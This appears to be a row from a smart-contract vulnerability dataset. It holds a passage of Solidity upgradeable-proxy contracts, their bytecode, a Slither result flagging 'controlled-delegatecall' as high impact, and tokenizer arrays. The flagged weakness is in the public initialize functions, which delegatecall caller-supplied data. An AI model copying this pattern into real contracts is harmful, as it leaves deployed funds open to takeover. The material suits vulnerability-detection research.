https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal { super._willFallback(); } } /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _admin, address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(_logic, _data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal { super._willFallback(); } } interface IProxyFactory { function productImplementation() external view returns (address); function productImplementations(bytes32 name) external view returns (address); } /** * @title ProductProxy * @dev This contract implements a proxy that * it is deploied by ProxyFactory, * and it's implementation is stored in factory. */ contract ProductProxy is Proxy { /** * @dev Storage slot with the address of the ProxyFactory. * This is the keccak-256 hash of "eip1967.proxy.factory" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant FACTORY_SLOT = 0x7a45a402e4cb6e08ebc196f20f66d5d30e67285a2a8aa80503fa409e727a4af1; function productName() virtual public pure returns (bytes32) { return 0x0; } /** * @dev Sets the factory address of the ProductProxy. * @param newFactory Address of the new factory. */ function _setFactory(address newFactory) internal { require(OpenZeppelinUpgradesAddress.isContract(newFactory), "Cannot set a factory to a non-contract address"); bytes32 slot = FACTORY_SLOT; assembly { sstore(slot, newFactory) } } /** * @dev Returns the factory. * @return factory Address of the factory. */ function _factory() internal view returns (address factory) { bytes32 slot = FACTORY_SLOT; assembly { factory := sload(slot) } } /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() virtual override internal view returns (address) { address factory = _factory(); if(OpenZeppelinUpgradesAddress.isContract(factory)) return IProxyFactory(factory).productImplementations(productName()); else return address(0); } } /** * @title InitializableProductProxy * @dev Extends ProductProxy with an initializer for initializing * factory and init data. */ contract InitializableProductProxy is ProductProxy { /** * @dev Contract initializer. * @param factory Address of the initial factory. * @param data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address factory, bytes memory data) public payable { require(_factory() == address(0)); assert(FACTORY_SLOT == bytes32(uint256(keccak256('eip1967.proxy.factory')) - 1)); _setFactory(factory); if(data.length > 0) { (bool success,) = _implementation().delegatecall(data); require(success); } } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101d6565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b509092509050610210565b34801561012457600080fd5b5061012d6102bd565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102fa565b34801561018857600080fd5b5061012d6103b4565b61019a336103df565b80156101a4575036155b80156101b257506108fc5a11155b156101bc576101d4565b6101c46103e5565b6101d46101cf6103ed565b610412565b565b6101de610436565b6001600160a01b0316336001600160a01b03161415610205576102008161045b565b61020d565b61020d610191565b50565b610218610436565b6001600160a01b0316336001600160a01b031614156102b05761023a8361045b565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610297576040519150601f19603f3d011682016040523d82523d6000602084013e61029c565b606091505b50509050806102aa57600080fd5b506102b8565b6102b8610191565b505050565b60006102c7610436565b6001600160a01b0316336001600160a01b031614156102ef576102e86103ed565b90506102f7565b6102f7610191565b90565b610302610436565b6001600160a01b0316336001600160a01b03161415610205576001600160a01b0381166103605760405162461bcd60e51b81526004018080602001828103825260368152602001806105b26036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610389610436565b604080516001600160a01b03928316815291841660208301528051918290030190a16102008161049b565b60006103be610436565b6001600160a01b0316336001600160a01b031614156102ef576102e8610436565b3b151590565b6101d46104bf565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610431573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61046481610517565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104c7610436565b6001600160a01b0316336001600160a01b031614156101d45760405162461bcd60e51b81526004018080602001828103825260328152602001806105806032913960400191505060405180910390fd5b610520816103df565b61055b5760405162461bcd60e51b815260040180806020018281038252603b8152602001806105e8603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220ee2cc694127bd7a184ad6ac8ca5904cf29a21a9ef30a8d695208912f2e79e10464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2683, 2475, 4402, 2549, 2278, 21619, 2050, 2575, 19317, 2050, 2620, 2278, 2546, 2683, 26976, 2575, 2497, 2692, 24434, 2278, 28311, 22203, 2683, 2050, 2683, 7959, 2620, 2050, 26976, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 24540, 1008, 1030, 16475, 22164, 10656, 1997, 4455, 2000, 2060, 8311, 1010, 2007, 5372, 1008, 2830, 2075, 1997, 2709, 5300, 1998, 25054, 1997, 15428, 1012, 1008, 2009, 11859, 1037, 2991, 5963, 3853, 2008, 10284, 2035, 4455, 2000, 1996, 4769, 1008, 2513, 2011, 1996, 10061, 1035, 7375, 1006, 1007, 4722, 3853, 1012, 1008, 1013, 10061, 3206, 24540, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]